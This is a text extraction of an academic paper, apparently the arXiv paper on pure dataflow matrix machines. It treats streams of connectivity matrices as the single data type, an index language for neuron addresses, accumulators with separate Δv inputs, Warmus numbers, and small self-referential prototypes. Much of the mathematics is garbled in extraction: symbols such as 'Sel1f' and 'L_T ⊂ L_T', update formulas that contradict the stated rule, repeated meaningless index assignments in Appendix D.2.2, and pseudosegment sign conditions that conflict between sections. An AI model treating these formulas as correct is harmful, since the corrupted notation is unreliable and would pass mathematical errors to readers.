Just like recurrent neural nets, DMMs are essentially “two-stroke engines”. On the “up movement” the built-in neuron transformations compute the next elements of the streams associated with the neuron outputs from the streams associated with neuron inputs. This computation is local to the neuron in question and is generally nonlinear. On the “down movement”, the next elements of the streams associated with all neuron inputs are computed from the streams associated with all neuron outputs using the matrix controlling the DMM. This computation is linear and is potentially quite global, as any neuron output in the net can contribute to any neuron input in the net.
DMMs described in the literature are heavily typed. One normally defines a finite collection of allowed kinds of linear streams, and a finite collection of allowed types of neurons. These two collections are called the DMM signature. One considers a particular fixed signature. Then one assumes the address space accommodating a countable number of neurons of each type, and then a DMM is determined by a countable-sized matrix of connectivity weights (one normally assumes that only a finite number of those weights are non-zero at any given moment of time).
In particular, DMMs can be equipped with powerful reflection facilities. Include in the signature the kind of streams of matrices shaped in such a fashion as to be capable of describing a DMM over this signature. Then designate a particular neuron, $\texttt{Self}$, working as an accumulator of matrices of this shape, and agree that the most recent output of this neuron will be used at the “down movement” of each step as the matrix controlling the calculations of all neuron inputs from all neuron outputs.
1.1 One Kind of Streams
DMMs seem to be a powerful programming platform. In particular, it is convenient to manually write general-purpose software as DMMs. At the same time the options to automatically synthesize DMMs by synthesizing the matrices in question are available.
However, DMMs are a bit too unwieldy for a theoretical investigation.
From the theoretical viewpoint, it is inconvenient that there are many kinds of streams. It is also inconvenient that one needs to fix a signature, and that the parametrization by matrices is valid only for this fixed signature.
So a question naturally arises: What would be the equivalent of untyped lambda-calculus for dataflow matrix machines?
One of the principles of untyped lambda-calculus: one data type is enough, namely the type of programs. All data can be expressed as programs.
The equivalent of this principle for DMMs would be to have only one kind of streams; streams of matrices, where a matrix is so shaped as to be able to define a DMM which would be a network of transformers of streams of matrices (see Section 5 for details).
Instead of string rewriting, a number of streams of matrices are unfolding in time in this approach.
So all data are to be expressed as countably-infinite matrices of numbers under this approach (see Section 5), just like all data must be expressed as lambda-terms in the untyped lambda-calculus.
1.2 One Signature
Choosing a fixed selection of types of neurons seems too difficult at the moment. For the time being we would like to retain the ability to add arbitrary types of neurons to our DMMs.
So instead of selecting a fixed canonical signature, we assume that there is an underlying language allowing to describe countable collection of neuron types in such a fashion that all neuron types of interest can be expressed in that language.
Then assume that all neuron types described by all neuron type expressions in the underlying language are in the signature. Assume that our address space is structured in such a way as to accommodate countable number of neurons for each type of neurons (see Section 3). Since we have a countable collection of expressions describing neuron types, our overall collection of neurons is still countable, and the matrix describing the rules to recompute neuron inputs from the neuron outputs is still countable.
So, now we have a parametrization by countable matrices of numbers across all DMMs, and not just across DMMs with a particular fixed signature.
1.3 Accumulators Revised
The notion of accumulator plays a key role in a number of DMM constructions including the reflection facility \texttt{Sel1f}.
The most standard version is a neuron performing an identity transform of its vector input, $x$, to its vector output, $y$, of the same kind. One sets the weight of the recurrent connection from $y$ to $x$ to 1, and then the neuron accumulates contributions of other neurons connected to $x$ with nonzero weights.
So, at each step the accumulator neuron in effect performs $v := v + \Delta v$ operation. However, it is somewhat of abuse of the system of kinds of streams to consider $v$ and $\Delta v$ as belonging to the same space, and we’ll see evidence that to do so is a suboptimal convention later in the paper.
So, what we do, first of all, is that we equip the accumulator neuron with another input, where $\Delta v$ is collected. Then the body of the neuron computes the sum of $v$ and $\Delta v$, instead of just performing the identity transform (see Section 6 for more details).
In the situations, where one has multiple kinds of linear streams, one would often want to assign different kinds to $v$ and to $\Delta v$ (although in other situations one would still use the same kind for the both of them, effectively considering $\Delta v$ to be $0 + \Delta v$).
1.4 Structure of the Paper
In Section 2 we discuss continuous models of computation and their higher-order aspects. In Section 3 we juxtapose string rewriting with stream-based approaches to higher-order programming. In Section 4 we discuss the language of indexes of the network matrix and how to accommodate countable number of neuron types within one signature. In Section 5 we discuss representation of constants and vectors as matrices.
Section 6 provides two examples where it is natural to split the accumulator input into $v$ and $\Delta v$. One such example comes from the neuron \texttt{Sel1f} controlling the network matrix. Another example (Section 6.1) is more involved and requires us to revisit domain theory in the context of linear models of computation. This is a bitopological setting, more specifically, bi-continuous domains, allowing for both monotonic and anti-monotonic inference, and this is the setting where approximations spaces tend to become embedded into vector spaces, which is where the connection with linear models of computation comes into play.
2. Continuous Models of Computation
The history of continuous models of computation is actually quite long. Where the progress was more limited was in making higher-order constructions continuous, in particular, in making spaces of programs continuous. Denotationally, the continuous domains representing the meaning of programs are common. But operationally, we tend to fall back onto discrete schemas.
Dataflow matrix machines are seeking to change that and to provide programming facilities using continuous programs and continuous deformations of programs on the level of operational semantics and of implementation. This can be done both for discrete time and discrete index spaces (countably-sized matrices of computational elements), and, potentially, for continuous time and continuous index spaces for computational elements.
The oldest electronic continuous platform is electronic analog computers. The analog program itself, however, is very discrete, because this kind of machine has a number of single-contact sockets and for every pair of such sockets there is an option to connect them via a patch cord, or not to connect them.
Among dataflow architectures oriented towards handling the streams of continuous data one might mention LabVIEW [8] and Pure Data (e.g. [9]). In both cases, the programs themselves are quite discrete.
The computational platform which should be discussed in more details in this context is recurrent neural networks. Turing universality of recurrent neural networks is known for at least 30 years [16, 18].
However, together with many other useful and elegant Turing-universal computational systems, recurrent neural networks do not constitute a convenient general-purpose programming platform, but belong to the class of \textit{esoteric programming languages} (see [3, 4] for detailed discussion of that).
Interestingly enough, whether recurrent neural networks understood as programs are discrete or continuous depends on how one approaches the representation of network topology. If one treats the network connectivity as a graph, and thinks about this graph as a discrete data structure, then recurrent neural networks themselves are discrete.
If one states instead that the network connectivity is always the complete graph, and that the topology is defined by some of the weights being zeros, then recurrent neural networks themselves are continuous.
The most frequent case is borderline. One considers a recurrent neural net to be defined by the matrix of weights, and therefore to be continuous, however there are auxiliary discrete structures, e.g. the matrix of weights is often a sparse matrix, and so a dictionary of nonzero weights comes into play. Also a language used in describing the network or its implementation comes into play as an auxiliary discrete structure.
Dataflow matrix machines belong to this borderline case. In particular, the use of sparse matrices is inevitable, because the matrices in question are countable-sized matrices with finite number of nonzero elements.
3. Higher-order Programming: String Rewriting vs. Stream-based Approach
There are several approaches to higher-order stream-based programming. The most popular approach starts with standard higher-order functional programming and focuses on integrating stream-based programming into that standard paradigm. The theoretical underpinning of this approach is lambda-calculus and string rewriting (e.g. [7]).
The dataflow community produced purely stream-based approaches to higher-order programming. One of those approaches which should be mentioned is an approach based on multidimensional streams [19].
The approach which we adopt in this paper is based on the notion of streams of programs. An early work which should be mentioned in connection with this approach is \cite{[3]}. An argument in favor of this approach for programming with linear streams was presented in Section 3 of \cite{[3]}.
Among recent papers exploring various aspects of the approach based on the notion of streams of programs are \cite{[3, 4, 5]}. One of the goals of the present paper is to show that this approach can play the role in synchronous dataflow programming with linear streams comparable to the role played by untyped lambda-calculus in functional programming.
4. DMM Address Space: Language of Indices
When one has a countable-sized matrix, it is often more convenient to index its rows and columns by finite strings over a fixed finite alphabet than by numbers. There is no principal difference, but this choice discourages focusing on an arbitrary chosen order, and encourages semantically meaningful names for the indices.
Here we explain how the construction promised in Section 1.2 works.
4.1 Neuron Types
Define the notion of a type of neurons following the outline presented in Section 3.1 of \cite{[3]} for multiple kinds of linear streams. We only have one kind of linear streams in the present paper, so the obvious prefix condition that when $F$ is applied to streams of length $t > 0$, the first $t$ elements of the output streams of length $t + 1$ are the elements which $F$ produces when applied to the prefixes of length $t - 1$ of the input streams. The most typical situation is when for $t > 1$ the $t$'s elements of the output streams are produced solely on the basis of elements number $t - 1$ of the input streams, but our definition also allows neurons to accumulate unlimited history, if necessary.
4.2 Language $L_T$
In this section we are going to use several alphabets. Assume that the following special symbols don't belong to any of the other alphabets: $\Sigma_0 = \{ \emptyset \}$.
Assume that there is a language $L_T$ over alphabet $\Sigma_T$, such that finite strings from $L_T \subset L_T$ describe all neuron types of interest. Call a string $t$ the name of the neuron type it defines (we are not worried about uniqueness of names for a type here). Assume that the input arity of the type in question is $M_t$ and the output arity of the type in question is $N_t$. That for every integer $i$ such that $0 < i < M_t$ associate field name $I_{ti}$ from $L_T$ and for every integer $j$ such that $0 < j < N_t$ associate field name $O_{tj}$ from $L_T$, so that $i_1 \neq i_2$ implies $I_{t i_1} \neq I_{t i_2}$ and $j_1 \neq j_2$ implies $O_{t j_1} \neq O_{t j_2}$.
Also assume that there is an alphabet $\Sigma_0$ with more than one letter in it and any finite string $s$ over $\Sigma_0$ is a valid simple name.
4.3 Language of Indices
The following convention describes the address space for a countable number of neurons for each of the countable number of neuron types of interest. The indexes are expressed by strings over the alphabet $\Sigma_0 \cup \Sigma_T \cup \Sigma_0$. For any name of neuron type $t \in L_T$ and for any single name $s$, the concatenation $t + \emptyset + s$ is a name of a neuron.
For any field name $I_{ti}$, the concatenation $t + \emptyset + I_{ti} + \emptyset + s$ is the name of the corresponding neuron input. For any field name $O_{tj}$, the concatenation $t + \emptyset + O_{tj} + \emptyset + s$ is the name of the corresponding neuron output. For every such pair of indices, $(I_{ti} + \emptyset + I_{t i_1} + \emptyset + \cdots + \emptyset + i, O_{t j_1} + \emptyset + O_{t j_2} + \emptyset + \cdots + \emptyset + j)$, there is a matrix element in our matrices under consideration.
To summarize: in this approach the class of pure dataflow matrix machines is implicitly parametrized by a sufficiently universal language $L_T$ describing all types of neurons taken to be of potential interest together with their associated built-in stream transformations.
For details of DMM functioning see Sections 3.3 and 3.4 of \cite{[3]}.
5. Constants and Vectors as Matrices
To implement the program outlined in Section 1.1 one needs to express the most important linear streams, such as streams of numbers (scalars), streams of matrix rows and streams of matrix columns, and other frequently used streams of vectors as streams of matrices. As indicated in \cite{[3, 4]}, one of the key uses of scalars and also of matrix rows and columns is their use as multiplicative masks.
The ability to use scalars as multiplicative masks needs to be preserved when those scalars are represented by matrices. For example, if we have a neuron which takes an input stream of scalars $a$ and an input stream of matrices $M$, and produces an output stream of matrices $a \cdot M$, then we still need to be able to reproduce this functionality when scalars $a$ are represented by matrices of the same shape as matrix $M$.
The most straightforward way to do this is to have a neuron which takes two input streams of matrices and performs their element-wise multiplication (Hadamard product, sometimes also called the Schur product). If we chose the Hadamard product as our main bilinear operation on matrices, then the scalar $x$ must be represented by the matrix all elements of which are equal to $x$.
5.1 Matrices Admitting Finite Descriptions
One particular feature of this approach is that we can no longer limit ourselves by matrices containing finite number of non-zero elements, but we also need at least some infinite matrices admitting finite descriptions.
This means that one needs a convention of what should be done in case of incorrect operations, such as taking a scalar product of two infinite vectors of all ones (or adding a matrix consisting of all ones to $\text{eye}$). It seems likely that the technically easiest convention in such cases would be to output zeros (or to reset the network matrix to all zeros).
On the other hand, it is of interest to consider and study the limits of sequences of finitely describable matrices, and a network might be computing such a limit when $t \rightarrow \infty$.
5.2 Representing Matrix Rows and Columns as Matrices
Streams of matrix rows and streams of matrix columns also play important roles in \cite{[3, 4]}. Represent element $y$ of a row by the corresponding matrix column all elements of which equal $y$. Represent element $z$ of a column by the corresponding matrix row all elements of which equal $z$.
Hence, rows are represented by matrices with equal values along each column, and columns are represented by matrices with equal values along each row.
Given matrix row $\alpha$, denote by $(\alpha^\top)$ its representation as a matrix. Given matrix column $\beta$, denote by $(\beta^\top)$ its representation as a matrix. Given scalar $x$, denote by $(x^\top)$ its representation as a matrix.
Respecting the MATLAB convention to denote the Hadamard product by $\cdot$, we denote the Hadamard product of two matrices...
by $A \cdot B$, while omitting the infix for matrix multiplication, $A^T B$ or $AB^T$.
Note that because matrix rows correspond to neuron inputs and matrix columns correspond to neuron outputs, one should always think about these matrices as rectangular, and not as square matrices, so the transposition is always needed when performing the standard matrix multiplication on these matrices.
In [3] a standard matrix update operation generalized from several natural examples is proposed. Given a row $\alpha$, two columns $\beta$ and $\gamma$ (with the constraint that both $\beta$ and $\gamma$ have finite number of nonzero elements), the matrix is updated by the formula $a_{ij} := a_{ij} + \gamma_i \cdot \alpha_j \sum_k \beta_k a_{kj}$.
In terms of matrix representations what gets added to the network matrix $A$ is $(\gamma^\uparrow )^*(\alpha^\uparrow ) + (\beta^\downarrow ) A$.
In Section 4 of [4] matrix rows and columns are used for subgraph selection. Consider a subset of neurons, and take $\alpha$ to be a row with values $1$ at the positions corresponding to the neuron outputs of the subset in question and zeros elsewhere, and take $\beta$ to be a column with values $1$ at the positions corresponding to the neuron inputs of the subset in question and zeros elsewhere. Denote the element-wise matrix maximum as $A \land \beta$.
The overall connectivity of the subgraph in question is expressed by the matrix $((\alpha \uparrow) \land (\beta^\downarrow)) A$, while the internal connectivity of this subgraph is $(\alpha^\uparrow) + (\beta^\downarrow) A$.
5.3 Other Vectors as Matrices.
The most straightforward way to represent other finite-dimensional vectors or countable-dimensional vectors with finite number of nonzero elements in this setup is to represent them as matrix rows as well. This means reserving a finite or countable number of appropriately typed neurons to represent coordinates.
For example, to describe vectors representing characters in the "1-of-N" encoding which is standard in neural nets [10] one would need to reserve neurons to represent the letters of the alphabet in question.
6. Accumulators Revised
Here we continue the line of thought started in Section 1.3.
We give a couple of examples illustrating why it is natural to have separate inputs for $\nu$ and $\Delta \nu$ in an accumulator.
The main example is the neuron $\text{Self}$ itself, producing the matrix controlling the network on the output, and taking additive updates to that matrix on the input. This is a countable-sized matrix with finite number of nonzero elements, so has it be represented as a sparse matrix, e.g. via a dictionary of nonzero elements. A typical situation is that the additive update on each time step is small compared to the matrix itself (more specifically, the update is typically small in the sense that the number of affected matrix elements is small compared to the overall number of nonzero matrix elements).
So it does not make much sense to actually copy the output of $\text{Self}$ to its input of $\text{Self}$ and perform the additive update there, which is what should be done if the non-optimized definition of an accumulator with one input is to be taken literally.
What should be done instead is that additive updates should be added together at an input of $\text{Self}$, and then on the "up movement" the $\text{Self}$ should add the sum of those updates to the matrix it accumulates.
So instead of hiding this logic as "implementation details", it makes sense to split the inputs of $\text{Self}$ into $x$ (with the output of $\text{Self}$ connected to $x$ with weight $1$, nothing else connected to $x$ with non-zero weight, and the copying of the output of $\text{Self}$ to $x$ being a no-op) and $\Delta x$ accumulating the additive updates to $\text{Self}$.
6.1 Partial Inconsistency Landscape and Warmus Numbers
Another example of why it is natural to have separate inputs for $\nu$ and $\Delta \nu$ in an accumulator comes from considering a scheme of computation with Warmus numbers.
We have to explain first what are Warmus numbers and why considering them and a particular scheme of computation in question is natural in this context.
6.1.1 Partial Inconsistency and Vector Semantics
In the presence of partial inconsistency approximation spaces tends to become embedded into vector spaces. One well-known example of this phenomenon is that if one allows negative values for probabilities, then probabilistic powerdomain is embedded into the space of signed measures which is a natural setting for denotational semantics of probabilistic programs [12].
6.1.2 Warmus Numbers
Another example involves algebraic extension of interval numbers with respect to addition. Interval numbers don’t form a group with respect to addition. However one can extend them with pseudosegments $[b, a]$ with the contradictory property $a < b$. For example, $[3, 2]$ is a pseudosegment expressing an interval number with the contradictory constraint that $x \geq 3$ and at the same time $x \leq 2$.
So the extended space of interval numbers is a group and a 2D vector space over reals.
The first discovery of this construction known to us was made by Mieczyslaw Warmus [21]. Since then it was rediscovered many times. For a rather extensive bibliography related to those rediscoveries see [17].
6.1.3 Partial Inconsistency Landscape
There are a number of common motives which appear multiple times in various studies of partial inconsistency, in particular, bilattices, bitopology, bicontinuous domains, facilities for non-monotonic and anti-monotonic inference, order-reversing involutions, etc. Together, these motives serve as focal elements of the field of study which has been named the partial inconsistency landscape in [2].
In particular, the following situation is typical in the context of bitopological groups. The two topologies, $T$ and $T^{-1}$, are group dual of each other (that is, the group inverse induces a bijection between the respective systems of open sets), and the anti-monotonic group inverse is an order-reversing involution, which is a bicontinuous map from $(X, T, T^{-1})$ to its bitopological dual, $(X, T^{-1}, T)$. The extended space of interval numbers is a group and a 2D vector space over reals.
Because approximation domains tend to become embedded into vector spaces in this context, the setting of bicontinuous domains equipped with two Scott topologies which tend to be group dual of each other seems to be natural for semantic studies of computations with linear streams.
6.1.4 Computing with Warmus Numbers
Section 4 of [2] provides a detailed overview of the partial inconsistency landscape, including the bitopological and bilattice properties of Warmus numbers. It turns out that Warmus numbers play a fundamental role in mathematics of partial inconsistency. In particular, Section 4.14 of that paper proposes a schema of computation via monotonic evolution punctuated by order-reversing involutive steps.
Computations with Warmus extension of interval numbers via monotonic evolution punctuated by involutive steps are a good example of why the accumulators should have the asymmetry between $\nu$ and $\Delta \nu$.
If an accumulator is to accumulate a monotonically evolving Warmus number by accepting additive updates to that
number, then the $\Delta x$ cannot be an arbitrary Warmus number, but it must be a pseudosegment $[b, a]$, such that $a \leq 0 \leq b$ (the case of $a = b = 0$ is allowed). Given that there is a constraint of this kind, it is natural to want to accumulate $\Delta x$ contributions at a separate input on the “down movement”, and to let the accumulator enforce the constraint on the “up movement” (e.g. by ignoring requests for non-monotonic updates). Yet another input might be added to trigger involutive steps (an involutive step in this context transforms $[d, c]$ into $[c, d]$). Alternatively, requests for non-monotonic updates might trigger the involutions. Normally, the involutions would be triggered only if the accumulated number is already a pseudosegment, in which case the involution is an anti-monotonic step.
6.1.5 Open Problem: Bicontinuous Reflexive Domains
Despite impressive progress in studies of bicontinuity and bitopology in the context of partial inconsistency landscape [9, 11, 12, 14], the issues related to reflexive domains and solutions of recursive domain equation in the context of bicontinuous domains and vector semantics don’t seem to be well understood.
Given that dataflow matrix machines equipped with self-referential facilities work directly on the level of vector spaces, one would hope that the gap between operational and denotational descriptions would be more narrow in this case than for more traditional situations such as untyped lambda-calculus.
7. Conclusion
Dataflow matrix machines work with arbitrary linear streams. In this paper, we focus on the case of pure dataflow matrix machines, which work with the single kind of linear streams, namely the streams of matrices defining the connectivity patterns and weights in pure DMMs themselves.
This allows us to pinpoint the key difference between pure DMMs and recurrent neural networks: instead of working with streams of numbers, pure dataflow matrix machines work with streams of programs, with programs being represented as network connectivity matrices.
References
A. Monotonic Evolution by Additions: Warmus Numbers vs. Conventional Interval Numbers
Consider a sequence $x \sqsubseteq (x + x_1) \sqsubseteq (x + x_1 + x_2) \sqsubseteq \ldots$ of elements, which are monotonicly increasing and are obtained by additive corrections from previous elements of the sequence. If these are conventional interval numbers, this situation is only possible for the trivial case of $0 = x_1 = x_2 = \ldots$, as addition cannot reduce the degree of imprecision (self-distance) for conventional interval numbers. It is not possible to perform nontrivial monotonic evolution of conventional interval numbers by adding other interval numbers to previous elements of the sequence in question.
For Warmus numbers, monotonic evolution by additive corrections is possible, provided that every additive correction summand $x_i = [a_i, b_i]$ is a pseudo-segment anti-approximating zero: $[0, 0] \sqsubseteq [a_i, b_i]$, that is $b_i \leq 0 \leq a_i$.
B. Rectifiers and Quasi-metrics
Rectified linear unit (ReLU) is a neuron with the activation function $f(x) = \max(0, x)$. In the recent years, ReLU became the most popular neuron in the context of non-recurrent deep networks. Whether it is equally good for recurrent networks remains to be seen.
The activation function $\max(0, x)$ is an integral of the Heaviside step function. Lack of smoothness at 0 does not seem to interfere with gradient methods used during neural net training.
Interestingly enough, the standard quasi-metrics on reals associated with upper and lower topologies on reals are closely related to ReLU: $q_1(x, y) = f(x - y) = q_2(y, x)$.
C. Linear and Bilinear Neurons in LSTM and Gated Recurrent Unit Networks
Various schemas of recurrent networks with gates and memory were found to be useful in overcoming the problem of vanishing gradients in the training of recurrent neural networks, starting with LSTM in 1997 and now including a variety of other schemas.
For a convenient compact overview of LSTM, gated recurrent units networks, and related schemas see Section 2 of [21].
The standard way to describe LSTM and gated recurrent unit networks is to think about them as networks of sigmoid neurons augmented with external memory and gating mechanisms.
However, it is long understood (and is used in the present paper) that neurons with linear activation functions can be used as accumulators to implement memory.
It is also known for at least 30 years that bilinear neurons (such as neurons multiplying two inputs, each of those inputs accumulating linear combinations of output signals of other neurons) can be used to modulate signals via multiplicative masks (gates) and to implement conditional constructions in this fashion [16] (see also Section 1.3.2 of [4]).
Looking at the formulas for LSTM and gated recurrent unit networks in Table 1 of [21] one can observe that instead of thinking about these networks as networks of sigmoid neurons augmented with external memory and gating mechanisms, one can describe them simply as recurrent neural networks built from sigmoid neurons, linear neurons, and bilinear neurons, without any external mechanisms.
When LSTM and gated recurrent unit networks are built as recurrent neural networks from sigmoid neurons, linear neurons, and bilinear neurons, some weights are variable and subject to training, and some weights are fixed as zeros or ones to establish a particular network topology.
D. Lightweight Pure Dataflow Matrix Machines
Pure dataflow matrix machines are countable-sized networks with a finite part of the network being active at any given moment of time. They process streams of countable-sized matrices with finite number of non-zero elements.
Sometimes it is convenient to consider the case of networks of finite size, with fixed number of inputs, M, and fixed number of outputs, N. If we still would like those networks to process streams of matrices describing network weights and topology, those matrices would be finite rectangular matrices $M \times N$.
We call the resulting class of networks Lightweight Pure DMMs. If we work with reals of limited precision and consider fixed values of $M$ and $N$, the resulting class is not Turing-universal, as its memory space is finite. However, it is often useful to consider this class for didactic purposes, as both theoretical constructions and software prototypes tend to be simpler in this case, while many computational effects can already be illustrated in this generality.
D.1 Dimension of the Network Operators
The network has $N$ outputs, each of which is a matrix $M \times N$, hence the overall dimension of the output space is $M \times N^2$.
The network has $M$ inputs, each of which is a matrix $M \times N$, hence the overall dimension of the input space is $M^2 \times N$.
So, overall the dimension of space of all possible linear operators from outputs to inputs (which could potentially be used during the “down movement”) is $M^3 \times N^3$. However, our model actually uses matrices of the dimension $M \times N$ during the “down movement”, so only a subspace of dimension $M \times N$ of the overall space of all possible linear operators of the dimension $M^3 \times N^3$ is allowed. The matrix is applied not to a vector of numbers, but to a vector of $N$ matrices $M \times N$, and yields not a vector of numbers, but a vector of $M$ matrices $M \times N$. This is what accounts for factoring $M^3 \times N^3$ dimension out.
D.2 Software Prototypes
We prototyped lightweight pure DMMs in Processing 2.2.1 in the Lightweight_PureDMMs directory of Project Fluid, which is our open source project dedicated to experiments with the computational architectures based on linear streams [6].
For simplicity we used numbers to index rows and columns of the matrices, instead of using semantically meaningful strings we recommend to use as indices for non-lightweight work.
In particular, we demonstrated during those experiments that it is enough to consider a set of several constant update matrices together with our self-referential network update mechanism described in the present paper to create oscillations of network weights and waves of network connectivity patterns.
D.2.1 The `aug_26_16` experiment directory
Assume that the neuron Self adds matrices $X^0$ and $X^1$ on the “up movement” to obtain matrix $Y^2$. Assume that at the starting moment $t=0$, $Y_{0,0}^0=1$, $Y_{0,j}^0=0$ for all $j \neq 0$, $Y_{1,1}^0=1$, $Y_{1,j}^0=0$ for all $j \neq 1$.
Assume that $Y^1$ is a constant matrix, such that $Y^1_{0,j}=-2$, $Y^1_{j,0}=0$ for all $j \neq 0$.
The network starts with a “down movement”. After the first “down movement”, $X^0$ becomes a copy of $Y^0$, $X^1$ becomes a copy of $Y^1$, and after the first “up movement” at the time $t=1$ $Y_{1,1}^1$ changes sign: $Y_{1,1}^1=-1$.
After the second “down movement”, $X^1$ becomes minus $Y^1$. $X_{1,1}^1=2$, and after the second “up movement” at the time $t=2$ $Y_{1,1}^2$ changes sign again: $Y_{1,1}^2=1$, etc.
Here we have obtained a simple oscillation of a network weight, $Y_{1,1}^2$ (the network matrix is $Y^0$ at any given moment of time).
D.2.2 The `aug_27_16` experiment directory
Here instead of $Y^1$ we take a collection of constant update matrices, $Y^{j_1}, \ldots, Y^{j_n}$. Just like in the previous example, make sure that the first rows (indexed by 0) of those matrices are 0. For the second rows (indexed by 1), take $Y_{1,j}^{j_1}$, $j_1=1$, $Y_{1,j}^{j_2}=-1$, $Y_{1,j}^{j_3}=1$, $Y_{j_1,j}^{j_3}=1$, $Y_{1,j}^{j_3}=1$, $Y_{j_1,j}^{j_3}=1$, $Y_{1,j}^{j_3}=1$, $Y_{j_1,j}^{j_3}=1$, and the rest of the elements of the second rows of these matrices are 0.
Start at $t=0$ with $Y^0$ matrix having the first row as before, and the second row containing the only non-zero element $Y_{1,1}^0=1$. Then one can easily see (or verify by downloading and running under Processing 2.2.1 the open source software in the Lightweight_PureDMMs/aug_27_16 experiment directory of the Project Fluid [4]) that at the moment $t=1$ the only non-zero element in the second row of $Y^0$ is $Y_{1,1}^0=1$, at the moment $t=2$ the only non-zero element in the second row of $Y^0$ is $Y_{1,1}^0=1$, and so on until at the moment $t=n$ this wave of network connectivity pattern loops back to $Y_{1,1}^0=1$, and then continues looping indefinitely through these $n$ states.
D.2.3 Final remarks
A. The actual implementation of Self in the prototype enforces the constraint that $Y_{0,0}^0=1$, $Y_{0,j}^0=0$ for all $j \neq 0$.
B. By making the update matrices dynamically dependent upon e.g. input symbols, one could embed an arbitrary deterministic finite automaton into this control mechanism in this fashion.
1 July 2018 note: see https://arxiv.org/abs/1706.00648 for a more polished implementation and presentation.
E. Computation with Involutions
Recall from Appendix B that rectified linear unit (ReLU) is a neuron with the activation function \( f(x) = \max(0, x) \).
Putting together Appendices A and B we obtain
\[
\begin{align*}
x \sqsubseteq (x + [f(a_1), -f(b_1)]) \sqsubseteq \\
(x + [f(a_1), -f(b_1)]) + [f(a_2), -f(b_2)] \sqsubseteq \ldots
\end{align*}
\]
Here negations before and after application of ReLU in the terms \(-f(b_1), -f(b_2), \ldots\) are anti-monotonic involutions. Since we apply them twice, the overall inference remains monotonic. (Cf. the use of anti-monotonic involutions to perform anti-monotonic inference in Section 4.14 “Computational Models with Involutions” of [2].)
F. Dataflow Matrix Machines Based on Streams of V-values and Variadic Neurons versus Lightweight Pure Dataflow Matrix Machines
V-values are vector-like elements based on nested maps. They subsume pure dataflow matrix machines in terms of their ability to have sufficiently expressive dataflow matrix machines based on a single kind of linear streams. In addition, they support variadic neurons, so there is no need to explicitly keep track of input and output arities of neurons. V-values conveniently represent a variety of conventional data structures, so the intricate machinery of Section 5 of the present paper is unnecessary for DMMs based on streams of V-values.
However, there is one aspect where, in particular, lightweight pure dataflow machines still have considerable advantage at the moment. Lightweight Pure DMMs have highly regular structure which is friendly for batching and for GPUs. In contrast, DMMs based on V-values and variadic neurons often have highly irregular structure, which is also allowed to vary with time.
Making DMMs based on V-values and variadic neurons friendly for batching and for GPUs is, at present, an open problem (although such advances as dynamic batching underlying TensorFlow Fold library is a good indication that this problem will eventually be solved for DMMs based on V-values and variadic neurons as well).
Further experiments with self-referential DMMs were performed by participants of DMM and Fluid projects in January-October 2018. In particular, self-referential facilities of DMMs based on V-values and variadic neurons were used to interactively edit a running network on the fly (“livecoding”) and a series of experiments with randomly initialized Lightweight Pure DMMs produced emerging bistable behavior in a variety of different settings.
---
2 The material in the Appendix E was added in July 2018. For the first appearance of this material see slide 18 of http://www.cs.brandeis.edu/~bukatin/DMMsPrefixTreesMar2017.pdf. Another pattern similar in spirit (slide 19 of the same slide deck) is Concatenated ReLU, \( x \mapsto (f(x), f(-x)) \), introduced in [Wenling Shang, Kihyuk Sohn, Diogo Almeida, and Honglak Lee, Understanding and Improving Convolutional Neural Networks via Concatenated Rectified Linear Units, 2016, https://arxiv.org/abs/1603.05201] to address the “problem of dying ReLUs”. We can think about this as incorporating both (dual to each other) quasi-metrics on the reals mentioned in Appendix B in terms of scalar neurons, this is a neuron with two outputs.
|
{"Source-Url": "https://export.arxiv.org/pdf/1610.00831", "len_cl100k_base": 9256, "olmocr-version": "0.1.50", "pdf-total-pages": 7, "total-fallback-pages": 0, "total-input-tokens": 27527, "total-output-tokens": 11536, "length": "2e13", "weborganizer": {"__label__adult": 0.0004906654357910156, "__label__art_design": 0.0005350112915039062, "__label__crime_law": 0.0003695487976074219, "__label__education_jobs": 0.0006999969482421875, "__label__entertainment": 0.00010883808135986328, "__label__fashion_beauty": 0.0002340078353881836, "__label__finance_business": 0.00023245811462402344, "__label__food_dining": 0.0005116462707519531, "__label__games": 0.0005559921264648438, "__label__hardware": 0.0016679763793945312, "__label__health": 0.0009260177612304688, "__label__history": 0.0003333091735839844, "__label__home_hobbies": 0.00016808509826660156, "__label__industrial": 0.0007205009460449219, "__label__literature": 0.0004284381866455078, "__label__politics": 0.00031065940856933594, "__label__religion": 0.0008821487426757812, "__label__science_tech": 0.0894775390625, "__label__social_life": 0.00011998414993286131, "__label__software": 0.006481170654296875, "__label__software_dev": 0.89306640625, "__label__sports_fitness": 0.0004072189331054687, "__label__transportation": 0.000873565673828125, "__label__travel": 0.00023066997528076172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 45649, 0.02632]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 45649, 0.54569]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 45649, 0.89454]], "google_gemma-3-12b-it_contains_pii": [[0, 5005, false], [5005, 12182, null], [12182, 19231, null], [19231, 26582, null], [26582, 34445, null], [34445, 41651, null], [41651, 45649, null]], "google_gemma-3-12b-it_is_public_document": [[0, 5005, true], [5005, 12182, null], [12182, 19231, null], [19231, 26582, null], [26582, 34445, null], [34445, 41651, null], [41651, 45649, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 45649, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 45649, null]], "pdf_page_numbers": [[0, 5005, 1], [5005, 12182, 2], [12182, 19231, 3], [19231, 26582, 4], [26582, 34445, 5], [34445, 41651, 6], [41651, 45649, 7]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 45649, 0.0]]}
|
